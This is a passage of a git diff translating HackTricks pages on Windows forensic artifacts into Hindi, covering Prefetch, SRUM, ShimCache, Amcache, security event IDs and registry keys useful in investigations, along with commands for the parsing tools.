जो कार्यक्रम द्वारा खोली गई हैं। +इन फ़ाइलों की जांच करने के लिए आप [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) टूल का उपयोग कर सकते हैं: ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** का वही लक्ष्य है जो prefetch का है, **प्रोग्राम को तेजी से लोड करना** यह अनुमान लगाकर कि अगला क्या लोड होने वाला है। हालाँकि, यह prefetch सेवा का विकल्प नहीं है।\ +यह सेवा `C:\Windows\Prefetch\Ag*.db` में डेटाबेस फ़ाइलें उत्पन्न करेगी। -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +इन डेटाबेस में आप **प्रोग्राम** का **नाम**, **कार्यवाही** की **संख्या**, **खुले** **फ़ाइलें**, **एक्सेस किया गया** **वॉल्यूम**, **पूर्ण** **पथ**, **समय सीमा** और **टाइमस्टैम्प** पा सकते हैं। -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +आप इस जानकारी को टूल [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) का उपयोग करके एक्सेस कर सकते हैं। ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **एक प्रक्रिया** द्वारा **उपयोग किए गए** **संसाधनों** की **निगरानी** करता है। यह W8 में प्रकट हुआ और यह डेटा को `C:\Windows\System32\sru\SRUDB.dat` में ESE डेटाबेस में संग्रहीत करता है। -It gives the following information: +यह निम्नलिखित जानकारी प्रदान करता है: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID और पथ +- उपयोगकर्ता जिसने प्रक्रिया को निष्पादित किया +- भेजे गए बाइट्स +- प्राप्त बाइट्स +- नेटवर्क इंटरफेस +- कनेक्शन की अवधि +- प्रक्रिया की अवधि -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +यह जानकारी हर 60 मिनट में अपडेट होती है। +आप इस फ़ाइल से दिनांक प्राप्त करने के लिए टूल [**srum_dump**](https://github.com/MarkBaggett/srum-dump) का उपयोग कर सकते हैं। ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**, जिसे **ShimCache** के नाम से भी जाना जाता है, **Microsoft** द्वारा विकसित **Application Compatibility Database** का एक हिस्सा है, जो एप्लिकेशन संगतता समस्याओं को हल करने के लिए है। यह सिस्टम घटक विभिन्न फ़ाइल मेटाडेटा के टुकड़ों को रिकॉर्ड करता है, जिसमें शामिल हैं: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- फ़ाइल का पूरा पथ +- फ़ाइल का आकार +- **$Standard_Information** (SI) के तहत अंतिम संशोधित समय +- ShimCache का अंतिम अपडेट समय +- प्रक्रिया निष्पादन ध्वज -Such data is stored within the registry at specific locations based on the version of the operating system: +इस तरह का डेटा ऑपरेटिंग सिस्टम के संस्करण के आधार पर विशिष्ट स्थानों पर रजिस्ट्री में संग्रहीत किया जाता है: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- XP के लिए, डेटा `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` के तहत संग्रहीत किया जाता है, जिसमें 96 प्रविष्टियों की क्षमता होती है। +- सर्वर 2003 के लिए, साथ ही Windows संस्करण 2008, 2012, 2016, 7, 8, और 10 के लिए, संग्रहण पथ `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` है, जो क्रमशः 512 और 1024 प्रविष्टियों को समायोजित करता है। -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +संग्रहीत जानकारी को पार्स करने के लिए, [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) का उपयोग करने की सिफारिश की जाती है। ![](<../../../images/image (488).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +**Amcache.hve** फ़ाइल मूल रूप से एक रजिस्ट्री हाइव है जो सिस्टम पर निष्पादित अनुप्रयोगों के बारे में विवरण लॉग करती है। यह आमतौर पर `C:\Windows\AppCompat\Programas\Amcache.hve` पर पाई जाती है। -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +यह फ़ाइल हाल ही में निष्पादित प्रक्रियाओं के रिकॉर्ड को संग्रहीत करने के लिए उल्लेखनीय है, जिसमें निष्पादन योग्य फ़ाइलों के पथ और उनके SHA1 हैश शामिल हैं। यह जानकारी सिस्टम पर अनुप्रयोगों की गतिविधि को ट्रैक करने के लिए अमूल्य है। +**Amcache.hve** से डेटा निकालने और विश्लेषण करने के लिए, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) टूल का उपयोग किया जा सकता है। निम्नलिखित कमांड **Amcache.hve** फ़ाइल की सामग्री को पार्स करने और परिणामों को CSV प्रारूप में आउटपुट करने के लिए AmcacheParser का उपयोग करने का एक उदाहरण है: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +उत्पन्न CSV फ़ाइलों में, `Amcache_Unassociated file entries` विशेष रूप से ध्यान देने योग्य है क्योंकि यह असंबंधित फ़ाइल प्रविष्टियों के बारे में समृद्ध जानकारी प्रदान करता है। -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +उत्पन्न सबसे दिलचस्प CVS फ़ाइल `Amcache_Unassociated file entries` है। ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +यह कलाकृति केवल W7 में `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` में पाई जा सकती है और इसमें कुछ बाइनरी के हालिया निष्पादन के बारे में जानकारी होती है। -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +आप फ़ाइल को पार्स करने के लिए उपकरण [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) का उपयोग कर सकते हैं। ### Scheduled tasks -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +आप इन्हें `C:\Windows\Tasks` या `C:\Windows\System32\Tasks` से निकाल सकते हैं और इन्हें XML के रूप में पढ़ सकते हैं। ### Services -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +आप इन्हें रजिस्ट्री में `SYSTEM\ControlSet001\Services` के तहत पा सकते हैं। आप देख सकते हैं कि क्या निष्पादित होने वाला है और कब। ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +स्थापित अनुप्रयोग `\ProgramData\Microsoft\Windows\AppRepository\` में पाए जा सकते हैं।\ +इस भंडार में **`StateRepository-Machine.srd`** डेटाबेस के अंदर **प्रत्येक स्थापित अनुप्रयोग** के साथ एक **लॉग** है। -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +इस डेटाबेस के अनुप्रयोग तालिका के अंदर, "Application ID", "PackageNumber", और "Display Name" जैसे कॉलम पाए जा सकते हैं। ये कॉलम पूर्व-स्थापित और स्थापित अनुप्रयोगों के बारे में जानकारी रखते हैं और यह पता लगाया जा सकता है कि क्या कुछ अनुप्रयोगों को अनइंस्टॉल किया गया था क्योंकि स्थापित अनुप्रयोगों के IDs अनुक्रमिक होने चाहिए। -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +यह रजिस्ट्री पथ में भी **स्थापित अनुप्रयोग** को **पाया जा सकता है**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +और **अनइंस्टॉल** **अनुप्रयोग** में: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events -Information that appears inside Windows events are: +Windows घटनाओं के अंदर जो जानकारी दिखाई देती है वह है: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- क्या हुआ +- टाइमस्टैम्प (UTC + 0) +- शामिल उपयोगकर्ता +- शामिल होस्ट (होस्टनेम, IP) +- पहुंची गई संपत्तियां (फ़ाइलें, फ़ोल्डर, प्रिंटर, सेवाएं) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +लॉग `C:\Windows\System32\config` में Windows Vista से पहले और `C:\Windows\System32\winevt\Logs` में Windows Vista के बाद स्थित हैं। Windows Vista से पहले, इवेंट लॉग बाइनरी प्रारूप में थे और इसके बाद, वे **XML प्रारूप** में हैं और **.evtx** एक्सटेंशन का उपयोग करते हैं। -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +इवेंट फ़ाइलों का स्थान SYSTEM रजिस्ट्री में **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** में पाया जा सकता है। -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +इन्हें Windows Event Viewer (**`eventvwr.msc`**) से या अन्य उपकरणों जैसे [**Event Log Explorer**](https://eventlogxp.com) **या** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** से देखा जा सकता है।** ## Understanding Windows Security Event Logging -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +एक्सेस इवेंट्स सुरक्षा कॉन्फ़िगरेशन फ़ाइल में दर्ज होते हैं जो `C:\Windows\System32\winevt\Security.evtx` पर स्थित है। इस फ़ाइल का आकार समायोज्य है, और जब इसकी क्षमता पूरी हो जाती है, तो पुराने इवेंट्स को ओवरराइट किया जाता है। दर्ज इवेंट्स में उपयोगकर्ता लॉगिन और लॉगऑफ, उपयोगकर्ता क्रियाएँ, और सुरक्षा सेटिंग्स में परिवर्तन, साथ ही फ़ाइल, फ़ोल्डर, और साझा संपत्ति की पहुंच शामिल होती है। ### Key Event IDs for User Authentication: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: संकेत करता है कि एक उपयोगकर्ता सफलतापूर्वक प्रमाणित हुआ। +- **EventID 4625**: एक प्रमाणीकरण विफलता का संकेत देता है। +- **EventIDs 4634/4647**: उपयोगकर्ता लॉगऑफ इवेंट्स का प्रतिनिधित्व करते हैं। +- **EventID 4672**: प्रशासनिक विशेषाधिकारों के साथ लॉगिन को दर्शाता है। #### Sub-types within EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**: प्रत्यक्ष उपयोगकर्ता लॉगिन। +- **Network (3)**: साझा फ़ोल्डरों तक पहुंच। +- **Batch (4)**: बैच प्रक्रियाओं का निष्पादन। +- **Service (5)**: सेवा लॉन्च। +- **Proxy (6)**: प्रॉक्सी प्रमाणीकरण। +- **Unlock (7)**: पासवर्ड के साथ स्क्रीन अनलॉक। +- **Network Cleartext (8)**: स्पष्ट पाठ पासवर्ड ट्रांसमिशन, अक्सर IIS से। +- **New Credentials (9)**: पहुंच के लिए विभिन्न क्रेडेंशियल्स का उपयोग। +- **Remote Interactive (10)**: रिमोट डेस्कटॉप या टर्मिनल सेवाओं का लॉगिन। +- **Cache Interactive (11)**: डोमेन कंट्रोलर संपर्क के बिना कैश किए गए क्रेडेंशियल्स के साथ लॉगिन। +- **Cache Remote Interactive (12)**: कैश किए गए क्रेडेंशियल्स के साथ रिमोट लॉगिन। +- **Cached Unlock (13)**: कैश किए गए क्रेडेंशियल्स के साथ अनलॉक करना। #### Status and Sub Status Codes for EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: उपयोगकर्ता नाम मौजूद नहीं है - यह एक उपयोगकर्ता नाम enumeration हमले का संकेत दे सकता है। +- **0xC000006A**: सही उपयोगकर्ता नाम लेकिन गलत पासवर्ड - संभावित पासवर्ड अनुमान या ब्रूट-फोर्स प्रयास। +- **0xC0000234**: उपयोगकर्ता खाता लॉक हो गया - कई विफल लॉगिन के परिणामस्वरूप ब्रूट-फोर्स हमले का पालन कर सकता है। +- **0xC0000072**: खाता निष्क्रिय - निष्क्रिय खातों तक पहुंच के लिए अनधिकृत प्रयास। +- **0xC000006F**: अनुमत समय के बाहर लॉगिन - सेट लॉगिन घंटों के बाहर पहुंच के प्रयासों का संकेत, अनधिकृत पहुंच का संभावित संकेत। +- **0xC0000070**: कार्यस्थल प्रतिबंधों का उल्लंघन - अनधिकृत स्थान से लॉगिन का प्रयास हो सकता है। +- **0xC0000193**: खाता समाप्ति - समाप्त उपयोगकर्ता खातों के साथ पहुंच के प्रयास। +- **0xC0000071**: समाप्त पासवर्ड - पुरानी पासवर्ड के साथ लॉगिन प्रयास। +- **0xC0000133**: समय समन्वय मुद्दे - क्लाइंट और सर्वर के बीच बड़े समय के अंतर अधिक जटिल हमलों जैसे पास-दी-टिकट का संकेत दे सकते हैं। +- **0xC0000224**: अनिवार्य पासवर्ड परिवर्तन की आवश्यकता - बार-बार अनिवार्य परिवर्तन सुरक्षा को अस्थिर करने के प्रयास का सुझाव दे सकते हैं। +- **0xC0000225**: सुरक्षा मुद्दे के बजाय सिस्टम बग का संकेत देता है। +- **0xC000015b**: अस्वीकृत लॉगिन प्रकार - अनधिकृत लॉगिन प्रकार के साथ पहुंच का प्रयास, जैसे कि एक उपयोगकर्ता सेवा लॉगिन को निष्पादित करने की कोशिश कर रहा है। #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Time Change**: सिस्टम समय में संशोधन, जो घटनाओं की समयरेखा को अस्पष्ट कर सकता है। -#### EventID 6005 and 6006: +#### EventID 6005 और 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **System Startup and Shutdown**: EventID 6005 सिस्टम के चालू होने को दर्शाता है, जबकि EventID 6006 इसे बंद करने को दर्शाता है। #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Log Deletion**: सुरक्षा लॉग को साफ करना, जो अक्सर अवैध गतिविधियों को छिपाने के लिए एक लाल झंडा होता है। #### EventIDs for USB Device Tracking: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: USB डिवाइस का पहला कनेक्शन। +- **10100**: USB ड्राइवर अपडेट। +- **EventID 112**: USB डिवाइस के सम्मिलन का समय। -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +इन लॉगिन प्रकारों और क्रेडेंशियल डंपिंग के अवसरों को अनुकरण करने के लिए व्यावहारिक उदाहरणों के लिए, [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) पर जाएं। -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +इवेंट विवरण, जिसमें स्थिति और उप-स्थिति कोड शामिल हैं, इवेंट के कारणों के बारे में और अधिक जानकारी प्रदान करते हैं, विशेष रूप से Event ID 4625 में उल्लेखनीय। ### Recovering Windows Events -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +हटाए गए Windows इवेंट्स को पुनर्प्राप्त करने की संभावनाओं को बढ़ाने के लिए, संदिग्ध कंप्यूटर को सीधे अनप्लग करके बंद करना उचित है। **Bulk_extractor**, एक पुनर्प्राप्ति उपकरण जो `.evtx` एक्सटेंशन को निर्दिष्ट करता है, ऐसे इवेंट्स को पुनर्प्राप्त करने के प्रयास के लिए अनुशंसित है। ### Identifying Common Attacks via Windows Events -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +सामान्य साइबर हमलों की पहचान में Windows इवेंट IDs का उपयोग करने के लिए एक व्यापक गाइड के लिए, [Red Team Recipe](https://redteamrecipe.com/event-codes/) पर जाएं। #### Brute Force Attacks -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +कई EventID 4625 रिकॉर्ड द्वारा पहचाने जाने योग्य, यदि हमला सफल होता है तो इसके बाद एक EventID 4624 होता है। #### Time Change -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +EventID 4616 द्वारा दर्ज, सिस्टम समय में परिवर्तन फोरेंसिक विश्लेषण को जटिल बना सकता है। #### USB Device Tracking -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +USB डिवाइस ट्रैकिंग के लिए उपयोगी सिस्टम EventIDs में प्रारंभिक उपयोग के लिए 20001/20003/10000, ड्राइवर अपडेट के लिए 10100, और DeviceSetupManager से सम्मिलन समय के लिए EventID 112 शामिल हैं। #### System Power Events -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005 सिस्टम स्टार्टअप को दर्शाता है, जबकि EventID 6006 शटडाउन को दर्शाता है। #### Log Deletion -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. - -
- -{% embed url="https://websec.nl/" %} - -{{#include ../../../banners/hacktricks-training.md}} +सुरक्षा EventID 1102 लॉग के हटाने का संकेत देता है, जो फोरेंसिक विश्लेषण के लिए एक महत्वपूर्ण घटना है। diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..ef75768b1 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# दिलचस्प Windows रजिस्ट्र्री कुंजी -### Interesting Windows Registry Keys +### दिलचस्प Windows रजिस्ट्र्री कुंजी {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Windows संस्करण और मालिक की जानकारी** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- **`Software\Microsoft\Windows NT\CurrentVersion`** में, आप Windows संस्करण, सेवा पैक, स्थापना समय, और पंजीकृत मालिक का नाम सीधे तरीके से पाएंगे। -### **Computer Name** +### **कंप्यूटर नाम** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- होस्टनाम **`System\ControlSet001\Control\ComputerName\ComputerName`** के तहत पाया जाता है। -### **Time Zone Setting** +### **समय क्षेत्र सेटिंग** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- सिस्टम का समय क्षेत्र **`System\ControlSet001\Control\TimeZoneInformation`** में संग्रहीत है। -### **Access Time Tracking** +### **एक्सेस समय ट्रैकिंग** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- डिफ़ॉल्ट रूप से, अंतिम एक्सेस समय ट्रैकिंग बंद है (**`NtfsDisableLastAccessUpdate=1`**)। इसे सक्षम करने के लिए, उपयोग करें: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Windows संस्करण और सेवा पैक -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- **Windows संस्करण** संस्करण (जैसे, होम, प्रो) और इसके रिलीज़ (जैसे, Windows 10, Windows 11) को दर्शाता है, जबकि **सेवा पैक** अपडेट होते हैं जो सुधार और कभी-कभी नए फीचर्स शामिल करते हैं। -### Enabling Last Access Time +### अंतिम एक्सेस समय सक्षम करना -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- अंतिम एक्सेस समय ट्रैकिंग को सक्षम करने से आप देख सकते हैं कि फ़ाइलें कब अंतिम बार खोली गई थीं, जो फोरेंसिक विश्लेषण या सिस्टम निगरानी के लिए महत्वपूर्ण हो सकता है। -### Network Information Details +### नेटवर्क जानकारी विवरण -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- रजिस्ट्र्री में नेटवर्क कॉन्फ़िगरेशन पर विस्तृत डेटा होता है, जिसमें **नेटवर्क के प्रकार (वायरलेस, केबल, 3G)** और **नेटवर्क श्रेणियाँ (सार्वजनिक, निजी/घर, डोमेन/कार्य)** शामिल हैं, जो नेटवर्क सुरक्षा सेटिंग्स और अनुमतियों को समझने के लिए महत्वपूर्ण हैं। -### Client Side Caching (CSC) +### क्लाइंट साइड कैशिंग (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** ऑफ़लाइन फ़ाइल एक्सेस को साझा फ़ाइलों की प्रतियों को कैश करके बढ़ाता है। विभिन्न **CSCFlags** सेटिंग्स यह नियंत्रित करती हैं कि कौन सी फ़ाइलें कैश की जाती हैं, जो प्रदर्शन और उपयोगकर्ता अनुभव को प्रभावित करती हैं, विशेष रूप से उन वातावरणों में जहां कनेक्टिविटी अस्थायी होती है। -### AutoStart Programs +### ऑटोस्टार्ट प्रोग्राम -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- विभिन्न `Run` और `RunOnce` रजिस्ट्र्री कुंजी में सूचीबद्ध प्रोग्राम स्टार्टअप पर स्वचालित रूप से लॉन्च होते हैं, जो सिस्टम बूट समय को प्रभावित करते हैं और संभावित रूप से मैलवेयर या अवांछित सॉफ़्टवेयर की पहचान के लिए रुचि के बिंदु हो सकते हैं। -### Shellbags +### शेलबैग्स -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **शेलबैग्स** न केवल फ़ोल्डर दृश्य के लिए प्राथमिकताएँ संग्रहीत करते हैं बल्कि फ़ोल्डर एक्सेस के फोरेंसिक सबूत भी प्रदान करते हैं, भले ही फ़ोल्डर अब मौजूद न हो। ये जांचों के लिए अमूल्य हैं, जो अन्य तरीकों से स्पष्ट नहीं होने वाली उपयोगकर्ता गतिविधि को प्रकट करते हैं। -### USB Information and Forensics +### USB जानकारी और फोरेंसिक्स -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- रजिस्ट्र्री में USB उपकरणों के बारे में संग्रहीत विवरण यह पता लगाने में मदद कर सकते हैं कि कौन से उपकरण एक कंप्यूटर से जुड़े थे, संभावित रूप से एक उपकरण को संवेदनशील फ़ाइल ट्रांसफर या अनधिकृत एक्सेस घटनाओं से जोड़ते हैं। -### Volume Serial Number +### वॉल्यूम सीरियल नंबर -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- **वॉल्यूम सीरियल नंबर** फ़ाइल सिस्टम के विशिष्ट उदाहरण को ट्रैक करने के लिए महत्वपूर्ण हो सकता है, जो फोरेंसिक परिदृश्यों में उपयोगी है जहां विभिन्न उपकरणों के बीच फ़ाइल की उत्पत्ति स्थापित करने की आवश्यकता होती है। -### **Shutdown Details** +### **शटडाउन विवरण** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- शटडाउन समय और गिनती (यह केवल XP के लिए) **`System\ControlSet001\Control\Windows`** और **`System\ControlSet001\Control\Watchdog\Display`** में रखी जाती है। -### **Network Configuration** +### **नेटवर्क कॉन्फ़िगरेशन** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- विस्तृत नेटवर्क इंटरफ़ेस जानकारी के लिए, **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`** देखें। +- पहले और अंतिम नेटवर्क कनेक्शन समय, जिसमें VPN कनेक्शन शामिल हैं, विभिन्न पथों के तहत **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** में लॉग किए जाते हैं। -### **Shared Folders** +### **साझा फ़ोल्डर** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- साझा फ़ोल्डर और सेटिंग्स **`System\ControlSet001\Services\lanmanserver\Shares`** के तहत हैं। क्लाइंट साइड कैशिंग (CSC) सेटिंग्स ऑफ़लाइन फ़ाइल उपलब्धता को निर्धारित करती हैं। -### **Programs that Start Automatically** +### **स्वचालित रूप से शुरू होने वाले प्रोग्राम** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- पथ जैसे **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** और `Software\Microsoft\Windows\CurrentVersion` के तहत समान प्रविष्टियाँ स्टार्टअप पर चलने के लिए सेट किए गए प्रोग्राम का विवरण देती हैं। -### **Searches and Typed Paths** +### **खोजें और टाइप किए गए पथ** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- एक्सप्लोरर खोजें और टाइप किए गए पथ रजिस्ट्र्री में **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** के तहत WordwheelQuery और TypedPaths के लिए क्रमशः ट्रैक किए 